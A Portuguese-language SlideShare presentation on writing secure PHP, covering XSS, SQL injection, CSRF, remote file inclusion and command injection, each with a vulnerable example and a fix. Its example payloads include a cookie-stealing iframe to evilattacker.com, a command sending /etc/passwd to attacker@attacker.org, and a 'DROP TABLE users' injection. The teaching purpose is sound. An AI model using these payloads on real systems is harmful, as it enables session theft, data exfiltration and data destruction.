SlideShare uma empresa Scribd logo
Escrevendo códigos PHP 
Seguros 
Douglas V. Pasqua 
http://douglaspasqua.com
Introdução 
● Príncios de segurança para aplicativos web. 
● As consequencias de códigos inseguros. 
● Regras básicas de Segurança.
Vulnerabilidades / Tipos de Ataques 
● SQL Injections 
● XSS 
● Remote Code Injection 
● Command Inection 
● XSRF / CSRF 
● Sessions 
● File Uploads
Outros 
● senhas e hashs 
● configurações de segurança (php.ini)
Introdução Segurança 
● Uma das coisas mais importantes que o 
desenvolvedor deve-se atentar.
Introdução Segurança 
● Infelizmente a maioria dos desenvolvedores 
falham na questão de segurança, 
comprometendo dezenas e até milhares de 
linhas de códigos.
Consequências
Consequências 
● DOS (Denial Of Service). 
● Roubo de informações confidenciais. 
● Danificar banco de dados. 
● Roubo de sessão do usuário. 
● Comprometer a aplicação.
Regras básicas 
● Filtrar dados de Input 
● Filtrar dados de Output
Filtrar dados de Input 
● Não se deve confiar nos dados provenientes 
do usuário. 
● Toda informação oriunda do usuário deve 
ser filtrada/validada antes do uso.
Filtrar dados de Input 
● $_GET 
● $_POST 
● $_COOKIE
Tipo de dados ? 
● E-Mail 
● Numérico 
● URL 
● IP 
● Data de aniversário 
● Endereço 
● Telefone
Exemplo: filtrando campo numérico 
<?php 
if (isset($_GET["value"])) { 
$value = $_GET["value"]; 
} 
else { 
$value = false; 
} 
if (is_numeric($value) && ($value >= 15 && $value <= 20)) { 
// ok 
}
Exemplo: filtrando campo numérico 
<?php 
$value = filter_input(INPUT_GET, "value", FILTER_VALIDATE_INT, 
array("options" => array( 
"min_range" => 15, 
"max_range" => 20 
))); 
if($value) { 
// valido 
}
filter_input 
● FILTER_VALIDATE_BOOLEAN 
● FILTER_VALIDATE_EMAIL 
● FILTER_VALIDATE_FLOAT 
● FILTER_VALIDATE_INT 
● FILTER_VALIDATE_IP 
● FILTER_VALIDATE_REGEXP 
● FILTER_VALIDATE_URL
filter_input 
http://php.net/filter_input
Filtrando dados de Saída 
● Dados de saída devem ser tratados de 
acordo com o meio. 
○ HTML 
○ Javascript 
○ XML 
○ SQL
Filtrando dados de saída 
<?php 
echo "<a href="$url">$name</a>";
Filtrando dados de Saída 
<a href="<?php echo htmlspecialchars($url, ENT_COMPAT, 'utf-8'); ?>"> 
<?php echo htmlspecialchars($name, ENT_NOQUOTES, 'utf-8'); ?> 
</a>
htmlspecialchars() 
Caracter Nome Código 
< menor que &lt; 
> maior que &gt; 
& E comercial &amp; 
“ aspas duplas &quot; 
http://php.net/htmlspecialchars
XSS (Cross Site Scripting)
XSS (Cross-site-scripting) 
● É um tipo de ataque que permite injetar 
códigos (javascript) maliciosos em sites 
“confiáveis”. 
● Explora a confiança que o usuário tem no 
site.
XSS (Cross-site-scripting) 
● Roubo de cookies e informações de sessão. 
● Disparar requisições HTTP na sessão do 
usuário. 
● Redirecionar o usuário para sites maliciosos. 
● Instalar malware
XSS Exemplo - Não Persistente 
<?php 
// Gera resultados baseado em parametro via GET 
echo "Você esta buscando por: " . $_GET["query"];
XSS Exemplo - Não Persistente 
<?php 
// Gera resultados baseado em parametro via GET 
echo "Você esta buscando por: " . $_GET["query"]; 
http://example.com/search.php?query=<script>alert("hacked")</script>
XSS Exemplo - Não Persistente 
<?php 
// Gera resultados baseado em parametro via GET 
echo "Você esta buscando por: " . $_GET["query"]; 
http://example.com/search.php?query=<script>alert("hacked")</script> 
Você esta buscando por: <script>alert("hacked")</script>
XSS Exemplo - Persistente 
$email = "document.write('<iframe src=” 
http://evilattacker.com?cookie=' + document.cookie.escape()” 
height=”0” width=”0” />')"; 
E-mail: <?php echo $email; ?>
XSS - Prevenção 
● Validando dados de input
XSS - Prevenção 
● Sanitização 
<?php 
// sanitize HTML 
$query = strip_tags($_GET["query"]);
XSS - Prevenção 
● Output Escaping 
<?php 
// Gera resultados baseado em parametro via GET 
echo "Você esta buscando por: " . htmlspecialchars($_GET["query"]);
SQL Injection
SQL Injection 
● Permite manipulação de consultas SQL 
○ passar por controles de acesso e autenticação. 
○ expor dados escondidos. 
○ sobrescrita de dados. 
○ exclusão de dados. 
○ execução de comandos no S.O.
SQL Injection 
$sql = "SELECT * FROM users WHERE name 
='$nome'";
SQL Injection 
' or '1'='1 
SELECT * FROM users WHERE name ='' OR '1'='1'; 
' or '1'='1' -- 
SELECT * FROM users WHERE name ='' OR '1'='1' --';
SQL Injection 
a';DROP TABLE users; -- 
SELECT * FROM users WHERE name ='a';DROP TABLE 
users; --';
SQL Injection - Protegendo-se 
<?php 
$stmt = $dbh->prepare("SELECT * FROM users WHERE name = :name"); 
$stmt->bindParam(':name', $txtName); 
$stmt->execute(); 
● Suporte: 
○ mysqli 
○ PDO
SQL Injection - Protegendo-se 
<?php 
$name = mysql_real_escape_string($name); 
$sql = "SELECT * FROM users WHERE name ='$name'"; 
● Usar no caso de extensão padrão do Mysql para PHP
CSRF (Cross-Site-Request-Forgery)
CSRF - Definição 
Site malicioso dispara uma requisição/ação 
não desejada para um outro site no qual o 
usuário esteja logado.
CSRF - Exemplos de ações 
● Alterar a senha do usuário no site 
● Realizar transferências bancárias 
● Submissão de formulários
CSRF - Principais focos 
● Webmail 
● Redes sociais 
● Bancos 
● Sistemas de pagamento online
CSRF - Exemplos de Prevênção 
● Captcha 
● Verificar o Header "Referer" 
● Token Sincronizado
CSRF - Token 
<?php 
$randomtoken = base64_encode(openssl_random_pseudo_bytes(32));
CSRF - Token 
<?php 
$randomtoken = base64_encode(openssl_random_pseudo_bytes(32)); 
$_SESSION['csrfToken'] = $randomtoken;
CSRF - Token 
<form> 
... 
<input type=’hidden’ name=’csrfToken’ 
value=’<?php echo($_SESSION['csrfTOken']) ?>’ /> 
... 
</form>
CSRF 
● O Token CSRF é único por sessão. 
● Utilize o token em todos formulários 
considerados “críticos”.
Remote Code Injection
Remote code injection 
● Permite o atacante injetar códigos externos 
no fluxo de execução do script php. 
● Explora: 
○ include 
○ require
Remote code injection 
<?php 
include($_GET["page"]); 
?>
Remote code injection 
<?php 
include($_GET["page"]); 
?> 
www.website.com/carrega.php?page=/dir-escondido/senhas. 
txt
Remote code injection 
<?php 
include($_GET["page"]); 
?> 
www.website.com/carrega.php?page=/upload-dir/arquivo.php
Remote code injection 
<?php 
include($_GET["page"]); 
?> 
www.website.com/carrega.php?page=http://hackersite.com/file.inc
Remote code injection - Proteção 
<?php 
$whitelist = array('home', 'about'); 
if (in_array($_GET['page'], $whitelist)) { 
include($_GET['page'].'.php'); 
} else { 
include('home.php'); 
}
Command Injection
Command Injection 
● Permite o atacante injetar códigos shell 
maliciosos. 
● Normalmente quando você usa o input do 
usuário para criar um comando shell.
Command Injection 
<?php 
echo shell_exec('cat '.$_GET['filename']); 
?>
Command Injection 
<?php 
echo shell_exec('cat '.$_GET['filename']); 
?> 
www.website.com/viewfile.php?filename=file.txt;ls
Command Injection 
<?php 
echo shell_exec('cat '. $_GET['filename']); 
?> 
www.website.com/viewfile.php?filename=file.txt;mail 
attacker@attacker.org </etc/passwd
Command Injection - Proteção 
<?php 
echo shell_exec('cat '. escapeshellarg($_GET['filename']));
Command Injection - Proteção 
<?php 
echo shell_exec('cat '. escapeshellarg($_GET['filename'])); 
OR 
echo shell_exec(escapeshellcmd('cat '. $_GET['filename']));
Segurança de Sessão
Segurança de Sessão 
● Flag httponly, php.ini: 
session.cookie_httponly = 1 
Marca o cookie de sessão do PHP com httponly. Isso faz 
com que o novageador não exponha o valor deste cookie 
via javascript.
Segurança de Sessão 
● Flag use_only_cookies, php.ini: 
session.use_only_cookies = 1 
Desabilita a possiblidade de setar o ID da sesssão via GET.
Segurança de Sessão 
● Flag cookie_secure, php.ini: 
session.cookie_secure = 1 
Assegura que o cookie de sessão seja transmitido apenas 
por conexão segura.
Session hijacking 
<?php 
session_start(); 
if (isset($_SESSION['HTTP_USER_AGENT'])) { 
if ($_SESSION['HTTP_USER_AGENT'] != md5($_SERVER['HTTP_USER_AGENT'])) { 
/* Prompt for password */ 
exit; 
} 
} else { 
$_SESSION['HTTP_USER_AGENT'] = md5($_SERVER['HTTP_USER_AGENT']); 
}
Upload de Arquivos
Upload de arquivos - Dicas 
Armazene os arquivos enviados fora do 
diretório raiz do app web.
Upload de arquivos - Dicas 
Não confie cegamente no Content-Type, para 
definir que um arquivo seja realmente uma 
imagem.
Upload de arquivos - Dicas 
<?php 
$imageinfo = getimagesize($_FILES['userfile']['tmp_name']); 
if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg') { 
echo "Desculpe, são aceitos somente imagens GIF e JPEGn"; 
exit; 
}
Upload de arquivos - Dicas 
Não armazene os arquivos usando o nome 
original configurado no formulário. Gere um 
nome randômico ao salvar.
Hash e Senhas
hash e senhas 
Sempre usar hash para armazenar senhas em 
banco de dados.
hash e senhas 
md5(), sha1() ?
hash e senhas 
password_hash(), crypt() ?
password_hash() 
● >= PHP 5.5 
● Utiliza o algoritimo BCrypt 
● Compatível com a função crypt()
password_hash() 
<?php 
// geração do hash 
$hash = password_hash($senha, PASSWORD_DEFAULT); 
// verificando se o hash corresponde 
if (password_verify($password, $hash)) { 
// Sucesso! 
} 
else { 
// Credenciais Inválidas 
}
password_hash() 
● utilizar capacidade de 255 caracteres 
● salt e cost são gerados pela API
Parâmetros no php.ini
php.ini 
● expose_php = off
php.ini 
● expose_php = off 
HTTP/1.1 200 OK 
X-Powered-By: PHP/5.3.3 
Content-type: text/html; charset=UTF-8
php.ini 
● display_errors = off
php.ini 
● display_errors = off 
log_errors=On 
error_log=/var/log/apache/php_error.log
php.ini 
● allow_url_fopen = off
php.ini 
● allow_url_fopen = off 
previne remote code injections 
(include/require/file_get_contents)
php.ini 
● max_execution_time = 30 
● memory_limit = 40M
php.ini 
● max_execution_time = 30 
● memory_limit = 40M 
Evita ataques DOS
php.ini 
● disable_functions = exec,passthru, 
shell_exec,system,proc_open,popen, 
curl_exec,curl_multi_exec,parse_ini_file, 
show_source
php.ini 
● open_basedir="/var/www/"
php.ini 
● open_basedir="/var/www/" 
restringe o diretório onde o php pode 
manipular arquivos
Perguntas ? 
douglas.pasqua@gmail.com 
http://www.douglaspasqua.com 
twitter: @dpasqua

Mais conteúdo relacionado

Mais procurados

REST API Pentester's perspective
REST API Pentester's perspectiveREST API Pentester's perspective
REST API Pentester's perspective
SecuRing
 
Cross Site Request Forgery Vulnerabilities
Cross Site Request Forgery VulnerabilitiesCross Site Request Forgery Vulnerabilities
Cross Site Request Forgery Vulnerabilities
Marco Morana
 
今さら聞けないXSS
今さら聞けないXSS今さら聞けないXSS
今さら聞けないXSS
Sota Sugiura
 
Email Spoofing.pptx
Email Spoofing.pptxEmail Spoofing.pptx
Email Spoofing.pptx
Mumara Campaigns
 
Introduction to CSRF Attacks & Defense
Introduction to CSRF Attacks & DefenseIntroduction to CSRF Attacks & Defense
Introduction to CSRF Attacks & Defense
Surya Subhash
 
XSS再入門
XSS再入門XSS再入門
XSS再入門
Hiroshi Tokumaru
 
Top 10 Web Security Vulnerabilities (OWASP Top 10)
Top 10 Web Security Vulnerabilities (OWASP Top 10)Top 10 Web Security Vulnerabilities (OWASP Top 10)
Top 10 Web Security Vulnerabilities (OWASP Top 10)
Brian Huff
 
とある脆弱性の永い議論
とある脆弱性の永い議論とある脆弱性の永い議論
とある脆弱性の永い議論
Mtikutea
 
A10 - Unvalidated Redirects and Forwards
A10 - Unvalidated Redirects and ForwardsA10 - Unvalidated Redirects and Forwards
A10 - Unvalidated Redirects and Forwards
Shane Stanley
 
Email phising and spoofing hurting your business
Email phising and spoofing hurting your businessEmail phising and spoofing hurting your business
Email phising and spoofing hurting your business
Mithi SkyConnect
 
Cross Site Request Forgery
Cross Site Request ForgeryCross Site Request Forgery
Cross Site Request Forgery
Tony Bibbs
 
OWASP AppSecEU 2018 – Attacking "Modern" Web Technologies
OWASP AppSecEU 2018 – Attacking "Modern" Web TechnologiesOWASP AppSecEU 2018 – Attacking "Modern" Web Technologies
OWASP AppSecEU 2018 – Attacking "Modern" Web Technologies
Frans Rosén
 
Security Code Review 101
Security Code Review 101Security Code Review 101
Security Code Review 101
Paul Ionescu
 
Password Cracking
Password Cracking Password Cracking
Password Cracking
Sina Manavi
 
Secure Code Warrior - Poor authorization and authentication
Secure Code Warrior - Poor authorization and authenticationSecure Code Warrior - Poor authorization and authentication
Secure Code Warrior - Poor authorization and authentication
Secure Code Warrior
 
Serverless Anti-Patterns
Serverless Anti-PatternsServerless Anti-Patterns
Serverless Anti-Patterns
Keisuke Nishitani
 
XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015
XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015
XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015
CODE BLUE
 
Authentication methods
Authentication methodsAuthentication methods
Authentication methods
sana mateen
 

Mais procurados (20)

REST API Pentester's perspective
REST API Pentester's perspectiveREST API Pentester's perspective
REST API Pentester's perspective
 
Cross Site Request Forgery Vulnerabilities
Cross Site Request Forgery VulnerabilitiesCross Site Request Forgery Vulnerabilities
Cross Site Request Forgery Vulnerabilities
 
今さら聞けないXSS
今さら聞けないXSS今さら聞けないXSS
今さら聞けないXSS
 
Proxy War
Proxy WarProxy War
Proxy War
 
Email Spoofing.pptx
Email Spoofing.pptxEmail Spoofing.pptx
Email Spoofing.pptx
 
Introduction to CSRF Attacks & Defense
Introduction to CSRF Attacks & DefenseIntroduction to CSRF Attacks & Defense
Introduction to CSRF Attacks & Defense
 
XSS再入門
XSS再入門XSS再入門
XSS再入門
 
Top 10 Web Security Vulnerabilities (OWASP Top 10)
Top 10 Web Security Vulnerabilities (OWASP Top 10)Top 10 Web Security Vulnerabilities (OWASP Top 10)
Top 10 Web Security Vulnerabilities (OWASP Top 10)
 
とある脆弱性の永い議論
とある脆弱性の永い議論とある脆弱性の永い議論
とある脆弱性の永い議論
 
A10 - Unvalidated Redirects and Forwards
A10 - Unvalidated Redirects and ForwardsA10 - Unvalidated Redirects and Forwards
A10 - Unvalidated Redirects and Forwards
 
Email phising and spoofing hurting your business
Email phising and spoofing hurting your businessEmail phising and spoofing hurting your business
Email phising and spoofing hurting your business
 
Cross Site Request Forgery
Cross Site Request ForgeryCross Site Request Forgery
Cross Site Request Forgery
 
OWASP AppSecEU 2018 – Attacking "Modern" Web Technologies
OWASP AppSecEU 2018 – Attacking "Modern" Web TechnologiesOWASP AppSecEU 2018 – Attacking "Modern" Web Technologies
OWASP AppSecEU 2018 – Attacking "Modern" Web Technologies
 
Security Code Review 101
Security Code Review 101Security Code Review 101
Security Code Review 101
 
Password Cracking
Password Cracking Password Cracking
Password Cracking
 
Secure Code Warrior - Poor authorization and authentication
Secure Code Warrior - Poor authorization and authenticationSecure Code Warrior - Poor authorization and authentication
Secure Code Warrior - Poor authorization and authentication
 
Serverless Anti-Patterns
Serverless Anti-PatternsServerless Anti-Patterns
Serverless Anti-Patterns
 
XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015
XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015
XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015
 
Web Uygulama Pentest Eğitimi
Web Uygulama Pentest EğitimiWeb Uygulama Pentest Eğitimi
Web Uygulama Pentest Eğitimi
 
Authentication methods
Authentication methodsAuthentication methods
Authentication methods
 

Destaque

Segurança Web com PHP5
Segurança Web com PHP5Segurança Web com PHP5
Segurança Web com PHP5
Douglas V. Pasqua
 
Postgres Tuning
Postgres TuningPostgres Tuning
Postgres Tuning
Fabio Telles Rodriguez
 
Dicas para sua carreira de Desenvolvedor PHP
Dicas para sua carreira de Desenvolvedor PHPDicas para sua carreira de Desenvolvedor PHP
Dicas para sua carreira de Desenvolvedor PHP
Douglas V. Pasqua
 
PostgreSQL Tuning: O elefante mais rápido que um leopardo
PostgreSQL Tuning: O elefante mais rápido que um leopardoPostgreSQL Tuning: O elefante mais rápido que um leopardo
PostgreSQL Tuning: O elefante mais rápido que um leopardo
Fabio Telles Rodriguez
 
CJR Apresenta: OWASP TOP10
CJR Apresenta: OWASP TOP10CJR Apresenta: OWASP TOP10
CJR Apresenta: OWASP TOP10
CJR, UnB
 
Análise de performance usando as estatísticas do PostgreSQL
Análise de performance usando as estatísticas do PostgreSQLAnálise de performance usando as estatísticas do PostgreSQL
Análise de performance usando as estatísticas do PostgreSQL
Matheus de Oliveira
 

Destaque (6)

Segurança Web com PHP5
Segurança Web com PHP5Segurança Web com PHP5
Segurança Web com PHP5
 
Postgres Tuning
Postgres TuningPostgres Tuning
Postgres Tuning
 
Dicas para sua carreira de Desenvolvedor PHP
Dicas para sua carreira de Desenvolvedor PHPDicas para sua carreira de Desenvolvedor PHP
Dicas para sua carreira de Desenvolvedor PHP
 
PostgreSQL Tuning: O elefante mais rápido que um leopardo
PostgreSQL Tuning: O elefante mais rápido que um leopardoPostgreSQL Tuning: O elefante mais rápido que um leopardo
PostgreSQL Tuning: O elefante mais rápido que um leopardo
 
CJR Apresenta: OWASP TOP10
CJR Apresenta: OWASP TOP10CJR Apresenta: OWASP TOP10
CJR Apresenta: OWASP TOP10
 
Análise de performance usando as estatísticas do PostgreSQL
Análise de performance usando as estatísticas do PostgreSQLAnálise de performance usando as estatísticas do PostgreSQL
Análise de performance usando as estatísticas do PostgreSQL
 

Semelhante a Escrevendo códigos php seguros

Hello SAFE World!!!
Hello SAFE World!!!Hello SAFE World!!!
Hello SAFE World!!!
Everaldo Wanderlei Uavniczak
 
Segurança PHP - por Samyr Abdo
Segurança PHP - por Samyr AbdoSegurança PHP - por Samyr Abdo
Segurança PHP - por Samyr Abdo
Samyr Abdo
 
[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva...
[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva...[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva...
[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva...
Rafael Jaques
 
Segurança Web: O MMA da Tecnologia
Segurança Web: O MMA da TecnologiaSegurança Web: O MMA da Tecnologia
Segurança Web: O MMA da Tecnologia
Carlos Nilton Araújo Corrêa
 
Palestra de segurança em PHP - Hacking
Palestra de segurança em PHP - HackingPalestra de segurança em PHP - Hacking
Palestra de segurança em PHP - Hacking
Luis Gustavo Almeida
 
InterCon 2017 - Engenharia de segurança web: Proteja todas as camadas de seu ...
InterCon 2017 - Engenharia de segurança web: Proteja todas as camadas de seu ...InterCon 2017 - Engenharia de segurança web: Proteja todas as camadas de seu ...
InterCon 2017 - Engenharia de segurança web: Proteja todas as camadas de seu ...
iMasters
 
Segurança (in portuguese)
Segurança (in portuguese)Segurança (in portuguese)
Segurança (in portuguese)
Bruno Pedro
 
PHP MySQL Aula 07
PHP MySQL Aula 07PHP MySQL Aula 07
PHP MySQL Aula 07
Carlos Santos
 
LabMM4 (T22 - 12/13) - segurança
LabMM4 (T22 - 12/13) - segurançaLabMM4 (T22 - 12/13) - segurança
LabMM4 (T22 - 12/13) - segurança
Carlos Santos
 
Sql injection
Sql injectionSql injection
Sql injection
Tiago Natel de Moura
 
Play Framework - FLISOL
Play Framework - FLISOLPlay Framework - FLISOL
Play Framework - FLISOL
grupoweblovers
 
Aprendendo a atacar (e proteger) aplicações web através de jogos de guerra
Aprendendo a atacar (e proteger) aplicações web através de jogos de guerraAprendendo a atacar (e proteger) aplicações web através de jogos de guerra
Aprendendo a atacar (e proteger) aplicações web através de jogos de guerra
Clavis Segurança da Informação
 
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEBFIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
Erick Belluci Tedeschi
 
Segurança PHP em 2016
Segurança PHP em 2016Segurança PHP em 2016
Segurança PHP em 2016
Er Galvão Abbott
 
Como Perder Peso (no browser)
Como Perder Peso (no browser)Como Perder Peso (no browser)
Como Perder Peso (no browser)
Zeno Rocha
 
PHP like a super hero
PHP like a super heroPHP like a super hero
PHP like a super hero
Elton Minetto
 
Python 08
Python 08Python 08
Python 08
Bruno Catão
 
Web App Flaws - SQL Injection
Web App Flaws - SQL InjectionWeb App Flaws - SQL Injection
Web App Flaws - SQL Injection
David Gomes Guimarães
 
PHP FrameWARks - FISL
PHP FrameWARks - FISLPHP FrameWARks - FISL
PHP FrameWARks - FISL
Marcio Albuquerque
 
Crawling - Coleta de dados na Web com PHP
Crawling - Coleta de dados na Web com PHP Crawling - Coleta de dados na Web com PHP
Crawling - Coleta de dados na Web com PHP
Luis Gustavo Almeida
 

Semelhante a Escrevendo códigos php seguros (20)

Hello SAFE World!!!
Hello SAFE World!!!Hello SAFE World!!!
Hello SAFE World!!!
 
Segurança PHP - por Samyr Abdo
Segurança PHP - por Samyr AbdoSegurança PHP - por Samyr Abdo
Segurança PHP - por Samyr Abdo
 
[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva...
[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva...[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva...
[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva...
 
Segurança Web: O MMA da Tecnologia
Segurança Web: O MMA da TecnologiaSegurança Web: O MMA da Tecnologia
Segurança Web: O MMA da Tecnologia
 
Palestra de segurança em PHP - Hacking
Palestra de segurança em PHP - HackingPalestra de segurança em PHP - Hacking
Palestra de segurança em PHP - Hacking
 
InterCon 2017 - Engenharia de segurança web: Proteja todas as camadas de seu ...
InterCon 2017 - Engenharia de segurança web: Proteja todas as camadas de seu ...InterCon 2017 - Engenharia de segurança web: Proteja todas as camadas de seu ...
InterCon 2017 - Engenharia de segurança web: Proteja todas as camadas de seu ...
 
Segurança (in portuguese)
Segurança (in portuguese)Segurança (in portuguese)
Segurança (in portuguese)
 
PHP MySQL Aula 07
PHP MySQL Aula 07PHP MySQL Aula 07
PHP MySQL Aula 07
 
LabMM4 (T22 - 12/13) - segurança
LabMM4 (T22 - 12/13) - segurançaLabMM4 (T22 - 12/13) - segurança
LabMM4 (T22 - 12/13) - segurança
 
Sql injection
Sql injectionSql injection
Sql injection
 
Play Framework - FLISOL
Play Framework - FLISOLPlay Framework - FLISOL
Play Framework - FLISOL
 
Aprendendo a atacar (e proteger) aplicações web através de jogos de guerra
Aprendendo a atacar (e proteger) aplicações web através de jogos de guerraAprendendo a atacar (e proteger) aplicações web através de jogos de guerra
Aprendendo a atacar (e proteger) aplicações web através de jogos de guerra
 
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEBFIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
 
Segurança PHP em 2016
Segurança PHP em 2016Segurança PHP em 2016
Segurança PHP em 2016
 
Como Perder Peso (no browser)
Como Perder Peso (no browser)Como Perder Peso (no browser)
Como Perder Peso (no browser)
 
PHP like a super hero
PHP like a super heroPHP like a super hero
PHP like a super hero
 
Python 08
Python 08Python 08
Python 08
 
Web App Flaws - SQL Injection
Web App Flaws - SQL InjectionWeb App Flaws - SQL Injection
Web App Flaws - SQL Injection
 
PHP FrameWARks - FISL
PHP FrameWARks - FISLPHP FrameWARks - FISL
PHP FrameWARks - FISL
 
Crawling - Coleta de dados na Web com PHP
Crawling - Coleta de dados na Web com PHP Crawling - Coleta de dados na Web com PHP
Crawling - Coleta de dados na Web com PHP
 

Mais de Douglas V. Pasqua

Graph API - Desenvolvimento para Facebook
Graph API - Desenvolvimento para FacebookGraph API - Desenvolvimento para Facebook
Graph API - Desenvolvimento para Facebook
Douglas V. Pasqua
 
Web Services RESTful
Web Services RESTfulWeb Services RESTful
Web Services RESTful
Douglas V. Pasqua
 
Introdução APIs RESTful
Introdução APIs RESTfulIntrodução APIs RESTful
Introdução APIs RESTful
Douglas V. Pasqua
 
Unicode: Os segredos da Codificação de Caracteres
Unicode: Os segredos da Codificação de CaracteresUnicode: Os segredos da Codificação de Caracteres
Unicode: Os segredos da Codificação de Caracteres
Douglas V. Pasqua
 
The Facebook Plataform
The Facebook PlataformThe Facebook Plataform
The Facebook Plataform
Douglas V. Pasqua
 
Tuning Apache/MySQL/PHP para desenvolvedores
Tuning Apache/MySQL/PHP para desenvolvedoresTuning Apache/MySQL/PHP para desenvolvedores
Tuning Apache/MySQL/PHP para desenvolvedores
Douglas V. Pasqua
 
Novas Funcionalidade no PHP 5.3
Novas Funcionalidade no PHP 5.3Novas Funcionalidade no PHP 5.3
Novas Funcionalidade no PHP 5.3
Douglas V. Pasqua
 

Mais de Douglas V. Pasqua (7)

Graph API - Desenvolvimento para Facebook
Graph API - Desenvolvimento para FacebookGraph API - Desenvolvimento para Facebook
Graph API - Desenvolvimento para Facebook
 
Web Services RESTful
Web Services RESTfulWeb Services RESTful
Web Services RESTful
 
Introdução APIs RESTful
Introdução APIs RESTfulIntrodução APIs RESTful
Introdução APIs RESTful
 
Unicode: Os segredos da Codificação de Caracteres
Unicode: Os segredos da Codificação de CaracteresUnicode: Os segredos da Codificação de Caracteres
Unicode: Os segredos da Codificação de Caracteres
 
The Facebook Plataform
The Facebook PlataformThe Facebook Plataform
The Facebook Plataform
 
Tuning Apache/MySQL/PHP para desenvolvedores
Tuning Apache/MySQL/PHP para desenvolvedoresTuning Apache/MySQL/PHP para desenvolvedores
Tuning Apache/MySQL/PHP para desenvolvedores
 
Novas Funcionalidade no PHP 5.3
Novas Funcionalidade no PHP 5.3Novas Funcionalidade no PHP 5.3
Novas Funcionalidade no PHP 5.3
 

Escrevendo códigos php seguros

  • 1. Escrevendo códigos PHP Seguros Douglas V. Pasqua http://douglaspasqua.com
  • 2. Introdução ● Príncios de segurança para aplicativos web. ● As consequencias de códigos inseguros. ● Regras básicas de Segurança.
  • 3. Vulnerabilidades / Tipos de Ataques ● SQL Injections ● XSS ● Remote Code Injection ● Command Inection ● XSRF / CSRF ● Sessions ● File Uploads
  • 4. Outros ● senhas e hashs ● configurações de segurança (php.ini)
  • 5. Introdução Segurança ● Uma das coisas mais importantes que o desenvolvedor deve-se atentar.
  • 6. Introdução Segurança ● Infelizmente a maioria dos desenvolvedores falham na questão de segurança, comprometendo dezenas e até milhares de linhas de códigos.
  • 8. Consequências ● DOS (Denial Of Service). ● Roubo de informações confidenciais. ● Danificar banco de dados. ● Roubo de sessão do usuário. ● Comprometer a aplicação.
  • 9. Regras básicas ● Filtrar dados de Input ● Filtrar dados de Output
  • 10. Filtrar dados de Input ● Não se deve confiar nos dados provenientes do usuário. ● Toda informação oriunda do usuário deve ser filtrada/validada antes do uso.
  • 11. Filtrar dados de Input ● $_GET ● $_POST ● $_COOKIE
  • 12. Tipo de dados ? ● E-Mail ● Numérico ● URL ● IP ● Data de aniversário ● Endereço ● Telefone
  • 13. Exemplo: filtrando campo numérico <?php if (isset($_GET["value"])) { $value = $_GET["value"]; } else { $value = false; } if (is_numeric($value) && ($value >= 15 && $value <= 20)) { // ok }
  • 14. Exemplo: filtrando campo numérico <?php $value = filter_input(INPUT_GET, "value", FILTER_VALIDATE_INT, array("options" => array( "min_range" => 15, "max_range" => 20 ))); if($value) { // valido }
  • 15. filter_input ● FILTER_VALIDATE_BOOLEAN ● FILTER_VALIDATE_EMAIL ● FILTER_VALIDATE_FLOAT ● FILTER_VALIDATE_INT ● FILTER_VALIDATE_IP ● FILTER_VALIDATE_REGEXP ● FILTER_VALIDATE_URL
  • 17. Filtrando dados de Saída ● Dados de saída devem ser tratados de acordo com o meio. ○ HTML ○ Javascript ○ XML ○ SQL
  • 18. Filtrando dados de saída <?php echo "<a href="$url">$name</a>";
  • 19. Filtrando dados de Saída <a href="<?php echo htmlspecialchars($url, ENT_COMPAT, 'utf-8'); ?>"> <?php echo htmlspecialchars($name, ENT_NOQUOTES, 'utf-8'); ?> </a>
  • 20. htmlspecialchars() Caracter Nome Código < menor que &lt; > maior que &gt; & E comercial &amp; “ aspas duplas &quot; http://php.net/htmlspecialchars
  • 21. XSS (Cross Site Scripting)
  • 22. XSS (Cross-site-scripting) ● É um tipo de ataque que permite injetar códigos (javascript) maliciosos em sites “confiáveis”. ● Explora a confiança que o usuário tem no site.
  • 23. XSS (Cross-site-scripting) ● Roubo de cookies e informações de sessão. ● Disparar requisições HTTP na sessão do usuário. ● Redirecionar o usuário para sites maliciosos. ● Instalar malware
  • 24. XSS Exemplo - Não Persistente <?php // Gera resultados baseado em parametro via GET echo "Você esta buscando por: " . $_GET["query"];
  • 25. XSS Exemplo - Não Persistente <?php // Gera resultados baseado em parametro via GET echo "Você esta buscando por: " . $_GET["query"]; http://example.com/search.php?query=<script>alert("hacked")</script>
  • 26. XSS Exemplo - Não Persistente <?php // Gera resultados baseado em parametro via GET echo "Você esta buscando por: " . $_GET["query"]; http://example.com/search.php?query=<script>alert("hacked")</script> Você esta buscando por: <script>alert("hacked")</script>
  • 27. XSS Exemplo - Persistente $email = "document.write('<iframe src=” http://evilattacker.com?cookie=' + document.cookie.escape()” height=”0” width=”0” />')"; E-mail: <?php echo $email; ?>
  • 28. XSS - Prevenção ● Validando dados de input
  • 29. XSS - Prevenção ● Sanitização <?php // sanitize HTML $query = strip_tags($_GET["query"]);
  • 30. XSS - Prevenção ● Output Escaping <?php // Gera resultados baseado em parametro via GET echo "Você esta buscando por: " . htmlspecialchars($_GET["query"]);
